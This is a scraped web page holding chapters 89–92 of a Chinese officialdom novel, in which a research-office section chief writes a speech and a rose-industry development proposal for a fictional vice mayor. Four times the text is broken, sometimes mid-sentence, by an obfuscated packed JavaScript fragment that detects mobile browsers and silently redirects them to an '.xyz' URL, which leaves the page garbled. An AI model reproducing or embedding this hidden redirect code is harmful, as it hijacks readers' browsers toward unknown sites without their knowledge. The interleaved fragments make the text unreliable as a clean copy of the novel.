RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783513|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作汇报，达恩豪也不好推脱，写呗。 “叮--叮--铃--铃--铛--铛--铛！”一阵手机音乐彩铃声突然响起，达恩豪同时感觉到右大腿侧面也在震动，就赶紧从自己右裤兜里掏出手机来，点了绿色小圆点，放到耳朵边上，接听电话。 “我是陶才生。达处长，你这会在单位吗……你现在下来到我办公室……有个材料你给我弄一下……再见！”想曹操，曹操就到。刚达恩豪想起了陶才生副市长，这个电话不是别人打来的，正是下面四楼的副市长陶才生打来的。在电话里让达恩豪到他办公室里去一趟，说是有个材料让他写一下。达恩豪心想，额外的工作任务又来了，不得不写和材料还得写。 “……在呢……嗯……嗯……好的……陶市长再见！”但也不怕，陶才生副市长的材料很好弄的，两个人人的思想比较合拍，一般达恩豪根据陶才生的意图和要求，一次成型，微调小改，很少大改。不得不说，达恩豪表面不冷不热，其实还很想给陶才生副市长写材料，因为给他写了感觉很有成就感，可又转念一想，怀疑自己，脸热耳烧，自己这不是也太贱了些吗！ 达恩豪拿了笔记本和一只一次性碳素笔，出了市政府大楼六楼研究室经济处办公室房间，有一个处的同事在坐，就不用锁门，从楼道向西，走西侧步行楼梯，转了两圈，就下到了市政府办公厅四楼西半边头上。 向东行走，到第二个房间门，敲开进去。是一个双间大办公室，双扇门，双窗。东西和北面墙下都摆有沙发和茶几，盆花绿植，墙上悬挂有书法镜框，西面窗前有个办公桌，靠东面一窗下也有一个办公桌，后面坐着一个人，中等个头，身材有点微胖，短平头有点花，黑发中掺杂有小许白发，四方大国字脸，五官端正，目光祥和，眼神坚定，显得福态，且有些文雅之气，一看就是个当领导干大事的料。这人不是别人，正是滨河市政府副市长陶才生本人。 “达处长，茶几上有半盒烟，你自己拿上抽去。市委下周要召开理论中心组解放思想大讨论专题学习班，我有个发言材料，你抓紧三四天时间给我弄出来，就我平常和你讨论的那些东西装上，要突出增强发展能力和加快发展，共三部分：第一部分写存在的困难问题，第二部分写工作任务和措施，第三部分写给国家和省上提几点具体建议。你看行不行？”陶才生眉头一皱，看了一眼窗外，把目光收回到达恩豪坐着的茶几上，然后脸上挂上微笑，和谒可亲地盯着达恩豪侃侃而谈，又是让达恩豪抽烟，又是材料的来龙去脉，又是材料的提纲要求，条分析理，有条不紊地对达恩豪这样说道。 “好的，陶市长我现在就去弄。”达恩豪赶紧拿过笔记本打开到空白页，右手握着一次性碳素笔，“唰唰唰”就在笔记本纸页上记录起来。说完了，记完了，达恩豪笑着向陶才生这要回答道。瞧达恩豪那个对大领导的尊敬劲儿，其实陶才生说心里话，也很喜欢老实肯干水平又不错的达恩豪，也是千里马遇伯乐，英雄相惜。 89. 第 89 章 第八十九章秘书抱怨 “达处长，把茶几上的半包烟拿上抽去。有人说：‘材料不是写出来的，是烟熏出来的’。”达恩豪从坐着的那个沙发上站起身来，手里拿着自己的笔记本和碳素笔，准备迈步时，陶才生副市长赶紧一边指着达恩豪面前茶几上的一盒香烟，一边对达恩豪这样说道。 “好的，谢谢陶市长。”达恩豪知道陶才生不怎么抽烟，就一边倒出一只空手，伏身顺手把那半盒香烟抓起，随手装进了上衣下面的一个兜里，一边转头对陶才生微笑着这样回答道。 达恩豪回到六楼经济发展研究处，坐回到自己的办公桌椅间，马上拿过笔记本，打开到最后记录的一页上，敲醒休眠的电脑，点亮电脑屏幕，开始忙乎大领导刚刚布置安排的材料任务，别罗嗦，赶紧干活。他一个副科级尕副科长，能不听命于副地级大领导吗！ 早出晚归，中午不休息，吃完午饭就整材料，好不容易底稿写出来后，又删又加，改了又改。大领导给的半盒烟没有舍得抽，是扁盒细支精装加长过滤嘴，左右斜翻盖的，很少见，估计价格不便宜，存着给抽烟的亲戚张狂一下。自已卖廉价“大河”牌软包过滤嘴香烟，单价7元，每天至少得冒一包。电脑前爬了三四天，这材料终于弄出来了。交给陶才生副市长看了，没有提什么修改意见，感觉大领导很满意。这个发言材料达恩豪共写了7页，大约3300多字，他记得，具体内容大体如下： “继续解放思想着力增强发展能力 全面落实加快发展、率先发展、科学发展 --在市委中心组专题学习班上的发言 （2008年10月9日） 陶才生 根据市委安排部署，今天的中心组专题学习班上，我结合外出学习考察的感受，谈一些个人的认识和体会，不妥之处请各位领导及同志们批评指正。 一、继续解放思想，着力增强发展能力，着力破解发展瓶颈 在新的发展阶段和新的起点上，滨河要实现科学发展，必须把继续解放思想与实际工作相结合，与解决问题相结合，与加快发展相结合，努力提升科学发展的水平和质量。 （一）科学认识滨河发展面临的新问题。当前滨河加快发展中存在的主要问题：一是科学发展的实力不强，加快发展的动力不足；二是资源和发展空间受限，土地资源严重不足，发展的资金严重短缺；三是加快发展的体制不顺，机制不活；四是生态保护和环境建设仍然滞后等。这些问题都需要我们科学的认识，辩证的思维，大胆创新，找准出路，攻坚克难，加快发展。 （二）科学把握滨河发展所处的新阶段。滨河的发展在今后一个较长阶段都将处在夯实基础与加快发展并重的关键时期。市委、市政府从滨河所处的发展阶段和加快发展的需要出发，确立了加快推进西部区域性现代化中心城市建设的任务，努力建设‘活力滨河、创新滨河、和谐滨河’，充分体现了我市所处发展阶段的要求和目标定位，只要紧紧围绕这个目标定位努力奋斗，滨河的发展就大有希望。 （三）科学评估滨河发展的新环境。受漂亮国次贷危机引发的金融危机影响，明后年国际、国内发展环境不会乐观，全球经济和国内经济走低已成定局。要充分考虑大环境变化对滨河发展布局的影响。 （四）科学分析滨河发展的新重点。坚持‘工业强市、科技兴市、生态立市’，依托区位优势，围绕特色产业，抢抓机遇，强化服务，改善发展环境，以大项目带动大投资，以大投资带动大配套，以大配套带动大发展，力争实现滨河发展的新突破。 （五）科学构建滨河发展的新优势。发挥好大工业基础产业优势，加快推进新型工业化进程；发挥好区域物流集散中心的现代服务业优势，打造滨河区域性金融中心，努力构筑三产引领经济发展的新格局；发挥好文化生态旅游产业优势，构建支撑经济一体化发展新的增长极；发挥好科技创新优势，大力发展以循环经济为主体的生态经济发展新模式；发挥好多种所有制优势，培育以非公经济为龙头的经济发展新高地。 （六）科学构建滨河发展的新平台。只有努力实现发展环境的无缝对接，努力实现发展成果的零积压，努力实现发展方式的根本转变，才能为滨河科学发展、加快发展构筑起新的平台。为此，要着力推进重点领域和关键环节的改革，为加快发展注入新的活力，加快建立完善促进科学发展的新体制新机制，努力提高市场化水平，努力提高专业化水平，努力提高作为省会城市的服务水平，加快实现滨河跨越式发展。 二、抓住特色，打造优势，全力实现加快发展、率先发展、科学发展 （一）努力打造世界避暑之都。滨河气候宜人，海拔相对较低，非常适宜人类生活，特别是在夏季，具有热带沙漠气候的干爽，而没有沙漠气候的热燥；具有南方气候的温湿，而没有南方气候的闷热；具有西北地区夏季气候的凉爽，而没有西北气候的干燥。因此，要下功夫把兰原河园镇、槐间茂盛山、向上吐连沟、刘堡桃园、城中北道镇打造成功能多、档次高、特色新、辐射强、影响大，符合生态经济型发展战略要求的滨河‘五大’夏宫旅游度假休闲区，并力争将国家公务员休假中心设在滨河。 （二）努力打造世界玫瑰之都。滨河清香玫瑰是世界上最好的玫瑰品种，发展玫瑰产业可以增加收入，改善生态环境，苦水玫瑰产业远期可成为与滨河矿业、冶金相当的特色产业，具有巨大的发展潜力。要把玫瑰产业链作为滨河特色产业大力扶持，力争用10年的时间，使玫瑰种植面积达到100万亩，年销售收入达到500亿元，农民年增收达到50亿元，把滨河打造成真正的世界玫瑰之都。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783514|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> （三）努力打造专业化、功能型、国际性基金中心。省委、省政府提出将滨河建成西部区域性金融中心的战略目标，为滨河市的金融发展提供了难得的机遇，也提出了严峻的挑战，需要我们站在全局和战略高度，对滨河金融发展审慎定位，以建立专业化、功能型、国际性的基金中心为突破口，建立以创业投资基金、私募股权投资基金、股票基金、债券基金和对冲基金等为主的基金体系，建立国际性的基金投资、交易、信息、传播、教育、研究和交流以及配套服务中心。以基金中心为龙头，扩大直接融资规模，带动滨河金融业的全面进步，支持滨河经济持续快速健康发展，走出一条西部中心城市有特色的金融发展道路。 （四）努力推动滨河生态修复试验区建设。生态也是生产力，改善生态也是提高生产力，对滨河尤其如此。根据近几年滨河降雨情况和专家预计，未来十年滨河可能面临生态修复的难得机遇，滨河要以科学发展观和实施西部大开发战略为指导，以生态恢复学和可持续发展理论为依据，以保护、修复、恢复原生态植被为主线，以生态修复试验区为支点，充分运用生态修复与恢复原理的新理念、新方法、新技术，用30年左右的时间，修复和恢复黄河中上游流域的植被、生态、环境，促进沿河流域经济发展，实现人与自然和谐共处的目标。 （五）努力打造黄河文化景观长廊。按照与城市基础设施建设和现有风情线园林绿地相结合的原则，把以河头至三园峡黄河市区段为重点，西至巴磨峡，东至横城镇，全长103公里的黄河两岸，建设黄河文化景观长廊。要扩展、完善、充实、提高已建景点，并新建一批文化景观，与已有景观相结合，形成更大规模的景观群。使滨河黄河文化景观长廊成为独具地域文化特色的文化线，人文景观内涵丰富的旅游线，拉动区域经济发展的黄金线。 （六）加快研究开发核能供热，着力改善滨河大气环境。依托在滨的国家核工业505、605等大企业，以及中科院滨河分院相关的核物理研究院所和科技人才优势，采用‘地、企、校’和‘产、学、研’相结合的办法，集中核物理科技骨干力量，加快以核能供热为主的民用技术研发联合攻关，促进核能供热产业化，实施核能居民集中连片供热和产业统一供热，大力发展清洁核能民用工业，加快淘汰燃煤、燃油锅炉，优化调整能源供应结构，从根本上改善滨河的大气污染状况。 （七）努力构建滨河国防科技产业基地。建立‘滨河国防科技产业基地’，充分发挥河陇省、滨河市国防科技工业中核工业、化工制造业以及原材料加工制造业在全国的比较优势，促进国防科技工业的产业集聚并发挥规模效应，加快产业内的技术、资源整合，推动国防科技产业投资基金的设立，并有效发挥作用，促进滨河国防科技产业的快速发展，从而带动全市经济发展。 90. 第 90 章 第九十章发展建议 （八）继续着力改善投资环境，加快建设滨河现代化交通体系。按照交通布局要有战略性、发展要有针对性、结构要有阶梯性的原则，加快推进综合交通管理体制改革，优先发展城市公共交通，尽快建立公路、民航、水运、管道、邮政、通讯等运输方式为一体的综合运输体系，努力改善滨河通往周边和国内、国际的大交通环境。加快实施‘一城一交’战略，积极搞好城市轻轨交通的论证规划，着手研究城市地铁建设，大力实施农村客运‘村村通’工程，构建完善城乡一体化交通运输网络。 三、几点具体建议 （一）积极争取在滨河举办达沃斯生态论坛。加强与达沃斯论坛国际组织的联系与合作，积极争取国家和省上有关部门的支持，力争在滨河举办一期达沃斯（滨河）生态国际论坛，并争取在滨河设立达沃斯生态论坛常设机构。 （二）积极筹办首届（滨河）世界玫瑰节。积极争取国际相关组织以及国家和省上有关部门的支持，筹办首届（滨河）世界玫瑰节。以节会寻求滨河玫瑰产业的发展出路，提升滨河玫瑰的国内外知名度，加大滨河玫瑰产业链专题招商引资力度，增强我市玫瑰产业的发展活力和竞争实力，促进滨河玫瑰走出国门打进世界市场，把滨河玫瑰产业做大做强。 （三）积极筹办滨河国际基金论坛。积极筹办滨河国际基金论坛，通过邀请全国性、专业性金融组织参会，为金融业支持地方经济社会发展献计出力，提升融资服务功能，推进滨河区域性金融中心建设。 （四）尽快召开滨河金融工作会议。建议尽早成立滨河金融工作办公室，加强对滨河地区金融工作的协调领导，积极筹备召开滨河金融工作会议，总结部署金融服务工作，制定和落实滨河区域性金融中心建设规划，加快滨河银行的改革重组，积极争取上市，努力把滨河银行打造成为滨河本土化的金融龙头产业。” 又过了几天，市委理论中心组解放思想大讨论专题学习班结束后，达恩豪在单位办公室里上班，正爬在电脑屏幕前，不停地敲打键盘，全神关注地写一份材料，突然自己的手机铃声响了，右大脚侧面同时震动不停，他赶紧掏出手机一接，不是别人打来的，又是下面四楼的陶才生副市长打来的电话，把他喊下去，安排布置了一个材料。 达恩豪回到六楼单位上，进了自己经济发展研究处的办公室房间，撂下了刚才正在写的那个材料，打开笔记本来，看着刚才陶才生副市长说得的这个材料的大纲和要求，抬一只左手挠挠摩擦一把头上，研究思考开始弄大领导的这个玫瑰产业发展建议的材料。 经过四五天的加班加点，起早贪黑，牺牲了许多正常的工作之余的休息时间，达恩豪吞云吐雾，每天消灭两包“大河”牌香烟，拉提纲，装内容，反复增减，几经修改，终于弄出来一份玫瑰产业发展的建议来，打印装订好呈给三楼的陶才生副市长过目，翻看了以后，表示比较满意，一次性通过，交差了。这个材料达恩豪共写了13页，大约有6400多字，他记得，大体内容如下： “关于把玫瑰产业作为 滨河市特色产业扶持发展的建议 （陶才生2008年10月） 玫瑰产业是指以玫瑰花瓣、花蕾为原料开发的玫瑰精油、玫瑰浸膏、玫瑰净油、玫瑰糖、玫瑰干花等天然产品为主的各种产业。深度开发的天然玫瑰产品可以用于新型化工、医药、食品、保健品、化妆品、高级香水、香精、香料等产业，发展前景广阔。世界玫瑰产业主要集中在保加利亚、土耳其、摩洛哥、法国、意大利、印度和我国等玫瑰种植国家。玫瑰产业主要以玫瑰精油的生产为主，玫瑰精油是用新鲜的玫瑰花瓣提取的带绿或带红的淡黄色液体，有“液体黄金”之称，价格昂贵。 当前玫瑰产业发展趋势的主要特点。一是各类玫瑰产品在国际市场持续走俏；二是玫瑰花蕾和亚洲香型玫瑰精油的需求逐年上升；三是国际玫瑰精油的价格不断上升；四是化妆品趋向天然制品为玫瑰产业化的发展提供了广阔的前景。 滨河清香玫瑰具有巨大的发展潜力。一是清香玫瑰是世界上最好的玫瑰品种之一；二是清香玫瑰的种植具有广泛的前景；三是清香玫瑰产业远期可成为与矿业、冶金相当的特色产业。 滨河市玫瑰产业发展面临的主要问题。一是没有形成规模化种植；二是没有形成规模化生产；三是没有形成完整的产业链；四是没有形成主导品牌和市场。 把玫瑰产业作为滨河市特色产业扶持发展的若干建议。一是尽快确立玫瑰产业在我市产业发展中的战略地位；二是由市委、市政府牵头成立玫瑰产业发展领导小组；三是抓紧研究申报建立我国玫瑰产业园；四是制定发展玫瑰种植的一揽子政策；五是大力扶持玫瑰加工龙头企业发展。 一、玫瑰产业发展现状及趋势 玫瑰是一种蔷薇科丛生落叶灌木，它又是集美化、绿化、食用、药用于一身的木本植物。玫瑰原产于我国，现在世界各地广泛种植。玫瑰产业是指以玫瑰花瓣、花蕾为原料开发的玫瑰精油、浸膏、净油、玫瑰糖、玫瑰干花等天然产品为主的各种产业。深度开发的天然玫瑰产品可以用于新型化工、医药、食品、保健品、化妆品、高级香水、香精、香料等产业，发展前景广阔。世界玫瑰产业主要集中在保加利亚、土耳其、摩洛哥、法国、意大利、印度和我国等玫瑰种植国家。玫瑰产业主要以玫瑰精油生产为主，玫瑰精油是用新鲜玫瑰花瓣提取的带绿或带红的淡黄色液体，有“液体黄金”之称，价格昂贵。保加利亚是世界上最大的玫瑰产地，素以“玫瑰之邦”闻名。保加利亚所产的玫瑰精油质地纯正、香气浓郁，出口量一直居世界第一位。国际上也将保加利亚玫瑰精油作为检测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787242|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鉴定玫瑰精油质量的标准品。目前包括我国在内的国际市场上对保加利亚、法国等国的玫瑰精油的需求量逐年大幅增长。当前玫瑰产业发展趋势具有以下特点： （一）各类玫瑰产品在国际市场持续走俏 玫瑰可制成纯天然的生物化妆品，玫瑰香精、香料在国际市场上发展潜力大，玫瑰花粉的饮料等产品在国际上还是空白点，玫瑰在药品和保健品中也用途广泛，各类玫瑰天然产品在国际市场走俏。国外玫瑰主产国保加利亚、摩洛哥等受到地域、国土面积和劳动力等因素制约，不能再有更大的发展。国际市场出现了求大于供，价格节节上涨的局面。国内其他地区由于自然条件的限制，人工种植面积不大，满足不了市场的需求。这为苦水玫瑰产业的发展提供了非常好的契机。玫瑰香精、香料的生产主要由发达国家和少数具有相当规模的大公司所垄断，2002年全球十大香料公司的销售额约97.5亿美元，约占全球香料总销售额的64.5%以上。而这十大香料公司都集中在西欧、美国和日本。 （二）玫瑰花蕾和亚洲香型玫瑰精油的需求逐年上升 2007年我国出口和内销的玫瑰干花蕾、干花瓣缺口约1000吨，市场对玫瑰花苞和鲜切花的需求量也在逐年上升。同时，随着人均收入的增加和生活水平的改善，亚洲和拉美等发展中.国家和地区对芳香油、芳香提取物和合成香精香料的需求不断增加，特别是我国、巴西、印度、墨西哥、越南和智利等国家。而发达国家市场已经成熟，加上用户希望减少消费品中香精和香料的用量，市场不断萎缩。这些原因使得国际市场上对以保加利亚为代表的浓香型精油需求减少，而对适合亚洲人的亚洲清香型精油需求增加，而苦水玫瑰正是亚洲香型玫瑰的主要代表品种。 （三）国际玫瑰精油的价格不断上升 近年来，世界香料香精的需求量逐步增加，导致玫瑰精油的价格逐年攀升，国际市场上保加利亚玫瑰精油的价格在每公斤4千美元到6千美元之间，国内的超纯精油价格高达25万人民币。由于保加利亚玫瑰精油约占国际市场需求总量的50%，因此其价格对国际市场玫瑰精油的价格走势影响很大，由于2008年保加利亚玫瑰精油生产成本增加，导致其价格不断上升，预计今年每公斤玫瑰油价格可达7000美元。玫瑰精油价格的上涨为滨河清香玫瑰产业的发展提供了巨大的空间。 （四）化妆品趋向天然制品为玫瑰产业化的发展提供了广阔前景 目前，世界化妆品市场已由化工合成转向纯天然制品，纯正天然化妆品越来越受到人们的青睐，国内化妆品也向纯正天然制品发展。用玫瑰精油制成的化妆品具有保湿、防晒、去皱、抗衰老等多种功效，且对人体无任何毒副作用，因而受到了人们的喜爱。世界化妆品趋于天然制品为苦水玫瑰产业化的发展提供了广阔的前景。 91. 第 91 章 第九十一章清香玫瑰 二、滨河清香玫瑰具有巨大发展潜力 （一）滨河清香玫瑰是世界上最好的玫瑰品种之一 “清香玫瑰”是我国的四大玫瑰品系之一，在向上县栽植已有二百多年的历史，各项品质均不次于国际上久负盛名的保加利亚玫瑰。国家质量监督检验检疫总局注册认定“清香玫瑰”符合原产地标记管理规定，国家出入境检验检疫行业标准颁证认可出口我国清香玫瑰油检验规程。目前，向上玫瑰产品远销台湾及美国、加拿大等地区。以向上县清香镇、北大川镇为中心的周边地区已成为全国著名的玫瑰生产区，由于向上特殊的地理环境、人文因素，加之源远流长的栽培历史，独特的栽培管理技艺，是清香玫瑰有异于其他地方不同品种的根本原因，也是大自然赋予向上人民的瑰宝和得天独厚的种值资源。清香玫瑰是钝齿蔷薇和我国玫瑰的自然杂交种，为半重瓣小花玫瑰，主要具有以下特点：一是为亚洲清香型，生长茂盛、花色鲜艳、香气浓郁、肉厚味纯；二是产花量高，每亩地鲜花产量为600公斤至800公斤；三是产油率高，鲜花精油产率为万分之四到万分之七，最高可达万分之九；四是种植成本低，每亩地种植成本约为总产值的18%；五是精油品质好，是制作高级香精、香料和香水及各种化妆品的重要原料。 清香玫瑰现已成为集观赏、油用、食用、药用及香料等多种用途于一身的特色经济品种。近年来，清香玫瑰的经济价值越来越高，用途越来越广泛。清香玫瑰鲜花中富含多种维生素、葡萄糖、果糖、柠檬酸、苹果酸、三萜类化合物（三萜类化合物具有很好的抗衰老作用）等数百种有益于人体健康的物质。此外，还含有大量的香茅醇、香叶醇、橙花醇、丁香醇、苯乙醇、茅樟醇等数百种有机化学物质。用清香玫瑰花精炼而成的玫瑰精油可用于新型的化工、医药、食品、保健、化妆品等产业。 （二）清香玫瑰的种植具有广泛的前景 向上县清香镇所处的海拔1200米—1300米特殊地理位置是玫瑰的最佳种植地。山东曾经引种清香玫瑰，但由于地理条件不适宜，造成产油率低并且种植面积不大。截至目前向上县玫瑰种植面积达5.8万亩，占全国玫瑰种植面积的一半，在清香周边还可以发展20多万亩，如扩展到兰原县、石湾区、三滩区等适宜种植清香玫瑰的地区，玫瑰的种植面积可达60万亩，从而形成以清香镇为中心，以向上县、兰原县、石湾区相关地带为主要区域的玫瑰种植基地。 （三）清香玫瑰产业远期可成为与矿业、冶金相当的特色产业 仅玫瑰原料或初级产品的产值分析来看，如果进一步深加工为超纯精油和精油衍生产品，产值至少增加五倍以上，60万亩鲜花的产值可超过300亿元。按照60万亩计算，仅考虑玫瑰原料和初级产品，农民每年可增加收入28亿元。 玫瑰产业是滨河市、也是河陇省最有发展潜力的特色产业。一是高附加值、高技术的产业特征决定了玫瑰产业具有较好的成长性；二是玫瑰产业可以形成完整的产业链条，可以带动上、下游产业发展；三是玫瑰产业是绿色产业，符合国家节能减排的产业发展思路；四是玫瑰产业具有巨大的文化效应。以玫瑰产业每年300亿的产值来看，超过了东风钢铁集团2007年的主营业务收入223亿元，基本与镍城公司2007年销售收入持平，远期可以成长为与矿业、冶金产值相当的特色产业。 三、玫瑰产业发展面临的主要问题 （一）没有形成规模化种植 玫瑰产业发展的问题之一就是没有形成规模化种植。由于当前玫瑰产业发展水平低，缺乏深加工的龙头企业和产品，导致对玫瑰原料的需求较少，再加上玫瑰栽植管理粗放，广大花农对清香玫瑰的栽植仍然采用传统的栽植管理模式，缺乏精耕细作与科学管理，玫瑰种植还没有形成规模。 （二）没有形成规模化生产 一是玫瑰产业仍然停留在原始产品生产销售上，加工工艺和技术还只停留在初级阶段。目前，清香玫瑰主要是生产和销售干鲜花蕾，只有少数几个生产工艺落后、甚至是家庭作坊式的精油、浸膏、糖酱生产企业，致使整个产业的水平低、规模小、附加值低，严重制约了玫瑰产业化的发展和壮大，使清香玫瑰的加工增值无法实现。二是没有龙头企业的带动，影响玫瑰产量、质量和农户收入。由于栽植历史长，虽已形成了适合本地的栽培品种，但由于科技开发能力有限，新产品的开发严重滞后，玫瑰品种退化，产品品种单一，产量低，规模化程度低。为了实现清香玫瑰产业的规模化，当前应进一步扩大玫瑰的推广种植面积，抓好标准化生产，实行规模化、集约化、产业化经营管理，提高玫瑰花质量，采取高新加工技术，实现产业增值增效。 （三）没有形成完整的产业链 清香玫瑰在品种、规模和产量上都在全国处于绝对优势地位，但是没有形成完整的玫瑰生产、加工、生态、观光、旅游产业链，产业带动性没有得到体现。一是清香玫瑰的种植面积不足导致玫瑰的产量和规模化程度低，这阻碍了玫瑰产业链的拓展和延伸。二是玫瑰深加工产业发展滞后。当前要在提高精油、浸膏、糖酱、玫瑰露酒等产品质量的基础上，开发玫瑰花蕾、玫瑰精油、玫瑰香料、玫瑰化妆品等系列新品，提高产业的技术含量，延伸产业链条，实现加工增值，再现苦水玫瑰品牌优势效应。三是玫瑰生态、观光和旅游产业发展滞后。应努力营造玫瑰文化氛围，强化“玫瑰旅游节”品牌，融观光、产品展销、贸易洽谈、学术研究和文化交流为一体。同时在县城和小城镇建设规划中应当考虑建立诸如“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790311|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玫瑰一条街”、“玫瑰观赏园”、“玫瑰系列产品专卖店”等具有代表性的景点及商铺。 （四）没有形成主导品牌和市场 清香玫瑰栽植历史悠久，种植面积居全国首位，是我国的四大玫瑰品系之一，具有很强的传统品牌优势。但是由于近年来没有注重自身品牌的塑造和提升，清香玫瑰的优势没有显现出来。一是没有对清香玫瑰品牌的准确定位，发掘清香玫瑰产品与其他区域玫瑰的特点和优势，同时没有围绕品牌定位，进行玫瑰整个产业链的重新整合，给品牌以强大的支持。二是没有提炼清香玫瑰独特的品牌价值。目前，以清香玫瑰为原料已经开发了玫瑰精油、食品、化妆品、玫瑰茶、玫瑰酒等一系列产品，但一直缺乏玫瑰产品的强势品牌，主要原因之一就是没有规划出产品定位，缺乏对文化价值和内涵的提炼。清香玫瑰必须将目光集中在高附加值产品的开发上，在医药、保健品、香精香料等领域以高档次、高附加值产品为依托，赋予品牌更高的价值感。清香玫瑰产品品牌价值的提炼，还要和具体的产品类别相结合、和产品的功能、使用者以及地域特色相结合、和国际上主流的玫瑰文化相结合，提炼出清香玫瑰的文化价值。三是没有打造高端产品品牌的表现力。品牌有了明确的定位和价值，一定要将其充分地表现出来，提高消费者对产品的感知程度。清香玫瑰可以从品牌名称、价值诉求、产品包装以及宣传广告形式等多个方面让市场充分感知其价值。 四、把玫瑰产业作为滨河市特色产业扶持发展的若干建议 （一）尽快确立玫瑰产业在我市产业发展中的战略地位 玫瑰产业有巨大的发展潜力和广阔的发展前景。滨河市应当抓住当前玫瑰产业的发展机遇，尽快启动“滨河市玫瑰产业发展工程”，把玫瑰产业放在产业结构调整、农民增收和“三农”发展的战略高度来认识，充分发挥滨河玫瑰种植得天独厚的优势，将玫瑰产业作为我市的特色产业来扶持发展。一是坚持以市场为导向，科技为动力，以效益为目标，以清香玫瑰为主要栽培品种，因地制宜，科学布局，以需定产，有计划的逐步扩大栽植面积，巩固和强化玫瑰基地建设。二是制定与完善栽培标准、各种产品生产工艺和质量标准，努力实现玫瑰标准化和原产地保护。三是开辟玫瑰花（蕾）多方向加工和销售，开发系列新产品、形成特色支柱产业的规模和产业化的模式。四是规范玫瑰产品销售市场，使清香玫瑰步入健康发展的轨道。五是加强以清香、北大川两镇为中心的玫瑰基地建设，加大招商引资力度，努力建成多个玫瑰加工龙头企业。六是加快玫瑰系列新产品的研制与开发步伐，带动清香玫瑰产业化的发展。七是营造清香玫瑰的知名品牌，在农业结构调整、美化环境、发展经济等方面发挥清香玫瑰应有的作用，使其真正成为滨河的特色支柱产业。 92. 第 92 章 第九十二章发言提纲 （二）由市委、市政府牵头成立玫瑰产业发展领导小组 将玫瑰产业作为我市的特色产业来扶持发展，首先市委、市政府要加紧成立玫瑰产业发展领导小组，加强对玫瑰产业发展的统一组织领导，包括相关政策制定、对各相关部门工作的统筹安排和协调，以及制定玫瑰产业发展规划。玫瑰产业发展规划应包括发展战略、发展目标定位、发展步骤、相关配套的政策和法规。 （三）抓紧研究申报建立我国玫瑰产业园 要实现玫瑰产业作为我市特色产业发展的战略目标，应该尽快建立我国玫瑰产业园，促进清香玫瑰产业的规模化、集约化发展，加强我市玫瑰产业在国内、国际的优势地位。基本目标是在现有的玫瑰产业发展基础上，以向上县清香镇为中心建立玫瑰产业园。基本步骤：一是结合产业结构调整、农业综合开发、生产及观光农业建设，高起点、高标准、大规模建设玫瑰生产园，实现规模化种植；二是要培植壮大一批玫瑰的深加工龙头企业，外联市场，内联农户，建立风险共担、利益共享的利益连接机制；三是要积极开发科技含量高，市场销路好，附加值高的新品种、新产品，打造知名品牌，提高产业园的可持续发展能力。四是要加大玫瑰产业园的科研投入，研究玫瑰丰产优质栽培技术，鼓励企业加大技术创新力度，建设自己的研发中心，鼓励中小企业联合开发。五是重点龙头企业要率先执行国家有关标准，主动把质量和相应的技术规范引入农户，带动花农和基地的标准化生产，创造优质产品和名牌产品。有条件的龙头企业要争取通过国际相关组织的认证，以取得进入国际市场的资格和国外消费者的信任，逐步形成生产技术规范化、产品质量标准化。 （四）制定发展玫瑰种植的一揽子政策 一是对玫瑰种植的灌溉用水费用实行政府补贴。水费是玫瑰种植的一项重要成本，为了提高农民的收益，推动玫瑰种植的规模化生产，政府应该对玫瑰种植的水费实行补贴。二是积极争取财政贴息贷款对玫瑰种植的扶持。资金不足是制约玫瑰产业加快发展的重要因素，因此要争取财政贴息贷款对玫瑰种植和加工的多方面支持。三是对玫瑰收购实行保护价格。玫瑰的市场收购价格波动较大，市场行情不好会造成花农的很大亏损，影响花农的种植积极性。因此政府要对玫瑰的收购实行最低保护价格，以保证花农的最低收益。 （五）大力扶持玫瑰加工龙头企业发展 要使清香玫瑰快速走向国内外大市场，加大培育和发展具有较强的带动力的玫瑰产业龙头企业是当务之急，必须建立大型玫瑰加工龙头企业，加强院校、科研单位与企业的科技合作，进行深度加工，提高玫瑰产品附加值，扩大玫瑰产品的市场占有率，形成产业促龙头、龙头带产业的模式。要采取政策倾斜、财政扶持、信贷支持等措施，通过引进国外先进技术和设备，建立玫瑰精油等深加工产品的龙头企业，将玫瑰产业园建设和龙头企业的发展相结合。” 